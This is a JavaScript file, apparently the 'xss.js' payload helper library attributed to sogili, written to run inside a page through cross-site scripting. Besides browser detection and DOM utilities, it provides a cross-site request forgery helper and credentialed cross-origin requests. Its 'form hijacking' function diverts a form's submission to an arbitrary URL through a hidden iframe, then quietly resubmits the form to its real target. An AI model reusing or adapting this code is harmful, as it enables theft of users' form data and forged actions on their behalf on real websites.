;;var xss = function(){
	var x = {
		&#039;name&#039;:&#039;xss.js&#039;,
		&#039;version&#039;:&#039;0.2.2&#039;,
		&#039;author&#039;:&#039;长短短(sogili)&#039;
	};
	
	x.x=function(id){return document.getElementById(id)};
	
	/**容错取值*/
	x.e=function(_){try{return eval(&#039;(&#039;+_+&#039;)&#039;)}catch(e){return&#039;&#039;}};
	
	/**浏览器*/
	x.i={
		i:!!self.ActiveXObject&amp;&amp;(function(){
			for(var v=6,s=document.createElement(&#039;s&#039;);
				s.innerHTML=&#039;&lt;![if gt IE &#039;+(v++)+&#039;]&gt;&lt;i&gt;&lt;/i&gt;&lt;![endif]--&gt;&#039;,
				s.getElementsByTagName(&#039;i&#039;)[0];);
			return v;
		}()),
		c:!!self.chrome,
		f:self.mozPaintCount&gt;-1,
		o:!!self.opera,
		s:!self.chrome&amp;&amp;!!self.WebKitPoint
	};
	
	/**UA*/
	x.ua = navigator.userAgent;
	
	/**判断是否为苹果手持设备*/
	x.apple=/ip(one|ad|od)/i.test(x.ua);
	
	/**随机数*/
	x.rdm=function(){return~~(Math.random()*1e5)};

	/**url编码(UTF8)*/
	x.ec=encodeURIComponent;

	x.html=function(){
		return document.getElementsByTagName(&#039;html&#039;)[0]
				||document.write(&#039;&lt;html&gt;&#039;)
				||document.getElementsByTagName(&#039;html&#039;)[0];
	};
	
	/*
	 * 销毁一个元素
	 */
	x.kill=function(e){
		e.parentElement.removeChild(e);
	};

	/*
	 *绑定事件
	 */
	x.bind=function(e,name,fn){
		e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent(&quot;on&quot;+name,fn);
	};
	
	/*
	 * dom准备完毕时执行函数
	 */
	x.ready=function(fn){
		if(!x.i.i){
			x.bind(document,&#039;DOMContentLoaded&#039;,fn);
		}else{
			var s = setInterval(function(){
				try{
					document.body.doScroll(&#039;left&#039;);
					clearInterval(s);
					fn();
				}catch(e){}
			},4);
		}
	}

	/*
	 * 同源检测
	 */
	x.o=function(url){
		var link = x.dom(&#039;&lt;a href=&quot;&#039;+encodeURI(url)+&#039;&quot;&gt;&#039;,1);
		return link.protocol+link.hostname+&#039;:&#039;+(link.port||80)==location.protocol+location.hostname+&#039;:&#039;+(location.port||80);
	};
	
	/*
	 * html to dom
	 */
	x.dom=function(html,gcsec){
		var tmp = document.createElement(&#039;span&#039;);
		tmp.innerHTML=html;
		var e = tmp.children[0];
		e.style.display=&#039;none&#039;;
		x.html().appendChild(e);
		gcsec&gt;&gt;0&gt;0&amp;&amp;setTimeout(function(){
			x.kill(e);
		},gcsec*1000);
		return e;
	};

	/*
	 * ajax
	 */ 	
	x.ajax=function(url,params,callback){
		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));
		var XHR = (!x.o(url)&amp;&amp;window.XDomainRequest)||
				  window.XMLHttpRequest||
				  (function(){return new ActiveXObject(&#039;MSXML2.XMLHTTP&#039;)});
		var xhr = new XHR();
		xhr.open(params?&#039;post&#039;:&#039;get&#039;,url);
		xhr.withCredentials = true;
		try{params&amp;&amp;xhr.setRequestHeader(&#039;content-type&#039;,&#039;application/x-www-form-urlencoded&#039;);}catch(e){}
		callback&amp;&amp;(xhr.onreadystatechange = function() {
			(this.readyState == 4 &amp;&amp; ((this.status &gt;= 200 &amp;&amp; this.status &lt;= 300) || this.status == 304))&amp;&amp;callback.apply(this,arguments);
		});
		xhr.send(params);
	};
	
	/*
	 * CSRF
	 */
	x.csrf=function(url,params,callback){
		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));
		if(params){
			x.ajax(url,params,callback);
		}else{
			var img = new Image;
			callback&amp;&amp;(img.onerror=callback);
			img.src=url;
		}
	};

	/*
	 * 表单劫持
	 */
	x.xform=function(form,action){
		form.old_action=form.action,form.old_target=form.target,form.action=action;
		var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;);
		form.target=iframe.name;
		setTimeout(function(){
			x.bind(iframe,&#039;load&#039;,function(){
				form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();
			});
		},30);
	};
	
	/*
	 * 函数代理
	 */
	x.proxy=function(fn,before,after){
		return function(){
			before&amp;&amp;before.apply(this,arguments);
			var result = fn.apply(this,arguments);
			after&amp;&amp;after.apply(this,arguments);
			return result;
		}
	};
	
	return x;
}();